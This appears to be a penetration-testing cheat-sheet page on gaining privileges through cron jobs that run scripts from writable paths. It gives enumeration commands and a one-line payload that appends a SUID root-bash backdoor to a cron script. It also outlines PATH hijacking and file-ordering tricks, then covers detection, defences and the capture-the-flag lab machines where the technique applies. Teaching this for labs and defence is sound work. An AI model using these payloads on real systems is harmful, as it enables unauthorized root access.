Cron running a script in a writable path
Full command arsenal in the cheatsheetA cron job runs as the identity of the user that defines it (shown by the user column in /etc/crontab or the owner of the crontab). If that job launches a script living in a directory writable by our current user, or whose name resolves in a manipulable way, we can replace or impersonate that script and our code will run with the job user's privileges.
Enumeration
Read every task source and its permissions:
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
cat /etc/cron.d/* 2>/dev/null
ls -la /var/spool/cron/crontabs/ 2>/dev/null # user crontabs (root's not readable)
systemctl list-timers --all # modern equivalent: systemd timersFor each referenced script, check who can write it, or its directory:
ls -la /path/to/script.sh
find / -writable -type f 2>/dev/null | grep -vE '^/proc|^/sys'Abuse variants
- The script (or its directory) is writable. Append the payload, or rename the original and drop your own with the same name. Cron runs it on the next cycle:
echo 'cp /bin/bash /tmp/rootbash && chmod +xs /tmp/rootbash' >> /path/script.sh
# after the next tick: /tmp/rootbash -p -> euid=0- The cron calls a binary with no absolute path (
backup.shinstead of/opt/backup.sh): prepend a writable directory to cron'sPATHand plant a binary with that name (PATH hijacking). - The cron picks "the latest" of a pattern (
ls fixer-v* | sort -V | tail -1): just create a file that wins by ordering and carries the payload; this pairs with writing from a SQLi via INTO OUTFILE when the DB service can write that directory. - Wildcard in the cron command (
tar czf ... *): see wildcard injection.
It's a pattern for pivoting between service accounts: from mysql to www-data, from www-data to a user, leveraging that each cron runs as a different user. The typical payload is a reverse shell or a SUID.
How to detect it. The crontabs in /etc/crontab, /etc/cron.d/ and /etc/cron.*/ are readable, but root's private crontab (/var/spool/cron/crontabs/root) is not. That is where pspy comes in: with no privileges it watches processes being born and dying, so a cron firing every minute shows up in its output with its path and user even when you can't read the crontab (pspy). Once you see the script, an ls -la on it and its directory confirms whether it is writable. Defensively, the signature is a root-owned script in a group/world-writable directory, modified just before its scheduled run (auditd over open/write of the file + cron -> sh -> payload lineage).
Defence. Scripts run by cron must be owned by root (or the job user) and not writable by others; avoid resolving names with wildcards over shared directories; use absolute paths inside the script too; and separate data paths (writable by services) from execution paths.
Machines where it's used
- CelestialHackTheBox
- ChocolateLoversDockerLabs
- ExfiltratedProving Grounds Practice
- FluProving Grounds Practice
- LaVitaProving Grounds Practice
- NorCDockerLabs
- YummyHackTheBox